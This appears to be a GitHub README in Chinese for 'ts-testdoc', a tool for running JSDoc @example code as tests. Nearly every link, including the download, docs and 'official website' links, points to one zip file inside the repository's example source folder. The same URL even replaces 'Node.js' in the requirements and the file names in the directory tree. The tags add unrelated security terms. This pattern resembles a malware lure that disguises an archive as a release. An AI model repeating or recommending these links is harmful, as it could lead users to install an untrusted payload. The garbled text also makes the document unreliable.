imamardiyanto/ts-testdoc
GitHub: imamardiyanto/ts-testdoc
从JSDoc注释中提取@example代码块并作为测试运行,确保TypeScript/JavaScript项目的文档示例始终准确有效。
Stars: 0 | Forks: 0
# 🎉 ts-testdoc - 确保您的文档始终有效
[](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip)
## 🚀 快速开始
按照以下步骤下载并运行 ts-testdoc。
### 🛠️ 系统要求
- 操作系统:Windows、macOS 或 Linux
- https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip 版本 14 或更高
- 包管理器:pnpm 或 npm
## 📥 下载与安装
访问此页面下载:[ts-testdoc Releases](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip)
### 📃 安装流程
1. **安装 https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip**
如果您尚未安装 https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip,请从[官方网站](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip)下载。按照为您操作系统提供的说明进行安装。
2. **安装 pnpm**
打开您的终端或命令提示符。运行以下命令来安装 pnpm:
npm install -g pnpm
3. **下载 ts-testdoc**
在您的终端中,运行以下命令将 ts-testdoc 添加到您的项目中:
pnpm add -D ts-testdoc tsx
## 🏃♂️ 如何运行 ts-testdoc
安装 ts-testdoc 后,您可以运行它来测试您的文档示例。具体操作如下:
1. **运行测试**
要运行文档测试,请使用此命令:
npx ts-testdoc src/
2. **预览示例**
如果您只想查看示例而不运行它们,请使用 dry-run 选项:
npx ts-testdoc --dry-run src/
3. **设置超时**
您还可以为测试设置超时时间。以下命令将超时时间设置为 10 秒(10,000 毫秒):
npx ts-testdoc --timeout 10000 src/
## 📝 编写文档测试
为了确保您的文档保持可用,您可以在 JSDoc 注释中添加 `@example` 代码块。以下是一个操作示例:
```
/**
* Adds two numbers together.
*
* @example
* ```ts
* import { add } from "my-package";
*
* const result = add(2, 3);
* assertEqual(result, 5);
* ```
*/
export function add(a: number, b: number): number {
return a + b;
}
```
### ✅ 内置断言
ts-testdoc 附带了两个有用的断言方法,您可以在示例中使用它们:
```
assert(condition, message?) // Throws an error if condition is false
assertEqual(actual, expected) // Throws an error if actual does not equal expected
```
## 🗂️ 示例目录结构
为了帮助您组织项目,以下是一个您可以遵循的简单目录结构:
```
/my-project
├── /src
│ ├── https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip
│ ├── https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip
└── https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip
```
请确保将您的 JSDoc 注释放在 `src` 文件夹内的正确文件中。
## 📚 附加功能
- **自定义断言:** 您可以根据特定需求创建自己的断言函数。
- **可配置选项:** 如果需要,可以在配置文件中自定义 ts-testdoc 设置。
## 🎓 资源与支持
如果您遇到任何问题,以下是一些可以提供帮助的资源:
- **官方文档:** [ts-testdoc 完整文档](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip)
- **社区支持:** 查看论坛和社区以获取建议和技巧。
- **问题追踪器:** 如果您发现错误或需要新功能,请在我们 GitHub 仓库的 issues 页面上报告。
## 🌟 结语
使用 ts-testdoc,您可以确保文档中的示例始终有效。按照上述步骤开始使用,并保持您的文档处于最新状态。别忘了重新访问[下载与安装](https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip)部分以获取任何更新或新版本!
标签:DNS解析, GNU通用公共许可证, JSDoc, MITM代理, Node.js, npm包, ts-testdoc, TypeScript, 云安全监控, 代码示例, 单元测试, 威胁情报, 安全插件, 开发者工具, 开源项目, 数据分析, 文档测试, 文档驱动开发, 暗色界面, 测试工具, 自动化攻击, 自动化攻击, 静态分析